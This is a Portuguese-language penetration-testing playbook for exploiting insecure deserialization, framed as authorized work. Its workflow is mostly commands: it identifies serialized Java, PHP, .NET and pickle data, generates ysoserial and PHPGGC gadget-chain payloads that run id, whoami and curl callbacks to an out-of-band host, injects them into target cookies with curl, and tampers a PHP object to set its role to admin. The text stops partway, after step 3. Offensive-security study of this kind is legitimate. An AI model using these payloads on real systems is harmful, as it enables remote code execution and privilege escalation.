Explorando Desserialização Insegura

Quando Usar

• Durante testes de penetração autorizados quando aplicações processam dados serializados (cookies, parâmetros de API, filas de mensagens)
• Ao identificar marcadores de serialização Java (ac ed 00 05 / rO0AB) em tráfego HTTP
• Para testar aplicações PHP que usam unserialize() em entradas controladas pelo usuário
• Ao avaliar aplicações .NET usando BinaryFormatter, ObjectStateFormatter, ou ViewState
• Durante avaliações de segurança de aplicações que usam pickle (Python), Marshal (Ruby), ou desserialização YAML

Pré-requisitos

• Autorização: Contrato escrito de teste de penetração com escopo de teste de RCE
• ysoserial: Ferramenta de exploração de desserialização Java (git clone https://github.com/frohoff/ysoserial.git)
• ysoserial.net: Ferramenta de exploração de desserialização .NET (git clone https://github.com/pwntester/ysoserial.net.git)
• PHPGGC: Gerador de cadeias de gadgets de desserialização PHP (git clone https://github.com/ambionics/phpggc.git)
• Burp Suite Professional: Com a extensão Java Deserialization Scanner
• Java Runtime: Para executar o ysoserial
• Collaborator/interactsh: Para confirmação fora de banda da execução de código

Fluxo de Trabalho

Passo 1: Identificar Dados Serializados no Tráfego da Aplicação

Detecte objetos serializados em parâmetros HTTP, cookies e cabeçalhos.

# Java serialization markers
# Binary: starts with 0xACED0005
# Base64: starts with rO0AB
# Gzip+Base64: starts with H4sIAAAAAAAA

# Search Burp proxy history for serialization signatures
# In Burp: Proxy > HTTP History > Search > "rO0AB"

# Check cookies and parameters for Base64-encoded serialized data
echo "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcA..." | base64 -d | xxd | head

# PHP serialization format
# Looks like: O:4:"User":2:{s:4:"name";s:5:"admin";s:4:"role";s:4:"user";}
# a:2:{i:0;s:5:"hello";i:1;s:5:"world";}

# .NET ViewState
# __VIEWSTATE parameter in ASP.NET forms
# Starts with /wEP... (base64)

# Python pickle
# Base64 encoded pickle objects in cookies or API parameters
# Binary starts with 0x80 (protocol version)

# Common locations to check:
# - Session cookies
# - Hidden form fields (__VIEWSTATE, __EVENTVALIDATION)
# - API request/response bodies
# - WebSocket messages
# - Message queue payloads (JMS, RabbitMQ, Redis)
# - Cache entries (Memcached, Redis)

Passo 2: Testar Desserialização Java com ysoserial

Gere payloads de desserialização para aplicações Java.

# List available gadget chains
java -jar ysoserial.jar 2>&1 | grep -E "^\s+\w"

# Generate DNS callback payload for detection (safest test)
java -jar ysoserial.jar URLDNS "http://java-deser.abc123.oast.fun" | base64 -w0

# Test with Burp Collaborator
# Replace serialized cookie/parameter with generated payload
# Check Collaborator for DNS/HTTP callbacks

# Generate RCE payloads with common gadget chains
# CommonsCollections (very common in Java apps)
java -jar ysoserial.jar CommonsCollections1 "curl http://abc123.oast.fun/rce" | base64 -w0
java -jar ysoserial.jar CommonsCollections5 "whoami" | base64 -w0
java -jar ysoserial.jar CommonsCollections6 "id" | base64 -w0

# Spring Framework gadget
java -jar ysoserial.jar Spring1 "curl http://abc123.oast.fun/spring" | base64 -w0

# Hibernate gadget
java -jar ysoserial.jar Hibernate1 "curl http://abc123.oast.fun/hibernate" | base64 -w0

# Send payload via curl
PAYLOAD=$(java -jar ysoserial.jar CommonsCollections5 "curl http://abc123.oast.fun/confirm" | base64 -w0)
curl -s -X POST \
  -b "session=$PAYLOAD" \
  "https://target.example.com/dashboard"

Passo 3: Testar Desserialização PHP com PHPGGC

Gere cadeias de gadgets PHP para frameworks comuns.

# Listar cadeias de gadgets PHP disponíveis
./phpggc -l

# Gerar payloads para frameworks PHP comuns
# Laravel RCE
./phpggc Laravel/RCE1 system "id" -b
./phpggc Laravel/RCE5 system "whoami" -b

# Symfony RCE
./phpggc Symfony/RCE4 exec "curl http://abc123.oast.fun/php-rce" -b

# WordPress (via Guzzle)
./phpggc Guzzle/RCE1 system "id" -b

# Monolog RCE
./phpggc Monolog/RCE1 system "id" -b

# Testar injetando em cookie ou parâmetro
PAYLOAD=$(./phpggc Laravel/RCE1 system "curl http://abc123.oast.fun/laravel" -b)
curl -s -b "serialized_data=$PAYLOAD" \
  "https://target.example.com/dashboard"

# Injeção de objeto PHP via string serializada manipulada
# Original: O:4:"User":2:{s:4:"name";s:5:"admin";s:4:"role";s:4:"user";}
# Modificado: O:4:"User":2:{s:4:"name";s:5:"admin";s:4:"role";s:5:"admin";}


…